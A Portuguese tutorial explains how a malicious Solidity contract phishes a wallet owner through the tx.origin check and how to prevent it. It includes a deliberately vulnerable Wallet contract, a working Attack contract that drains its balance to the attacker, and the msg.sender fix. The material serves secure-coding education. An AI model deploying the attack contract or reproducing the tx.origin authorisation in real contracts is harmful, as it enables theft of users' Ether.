Phishing com tx.origin

porMatheusem25/06/2022

Nesse artigo iremos aprender a como um contrato malicioso realiza phishing com tx.origin e como previnir um ataque em seu contrato inteligente.

Qual a diferença entre msg.sender e tx.origin?
Se o contrato A chama B, e B chama C, em C msg.sender é B e tx.origin é A.

Vulnerabilidade

Um contrato malicioso pode enganar o proprietário de um contrato para chamar uma função que somente o proprietário deveria poder chamar.

Como funciona:
A carteira é um contrato simples onde apenas o proprietário deve poder transferir Ether para outro endereço.
Wallet.transfer() usa tx.origin para verificar se o chamador é o proprietário.

Vamos ver como podemos hackear este contrato:

  1. Alice implanta Wallet com 10 Ether
  2. Eve implanta Ataque com o endereço do contrato da Carteira de Alice.
  3. Eve engana Alice para chamar Attack.attack()
  4. Eve roubou com sucesso Ether da carteira de Alice

O que aconteceu?
Alice foi levada a chamar Attack.attack(). Dentro de Attack.attack(), ele solicitou uma transferência de todos os fundos da carteira de Alice para o endereço de Eve. Como tx.origin em Wallet.transfer() é igual ao endereço de Alice, então foi autorizada a transferência. A carteira transferiu todo o Ether para Eve.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract Wallet {
address public owner;
constructor() payable {
owner = msg.sender;
}
function transfer(address payable _to, uint _amount) public {
require(tx.origin == owner, "Não é o proprietário");
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Falha ao enviar Ether");
}
}
contract Attack {
address payable public owner;
Wallet wallet;
constructor(Wallet _wallet) {
wallet = Wallet(_wallet);
owner = payable(msg.sender);
}
function attack() public {
wallet.transfer(owner, address(wallet).balance);
}
}

Técnicas Preventivas

  • Nunca utilizar tx.origin em funções relacionadas à transferências, lembre-se sempre de utilizar msg.sender
function transfer(address payable _to, uint256 _amount) public {
require(msg.sender == owner, "Não é o proprietário");
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Falha ao enviar Ether");
}

Testar no Remix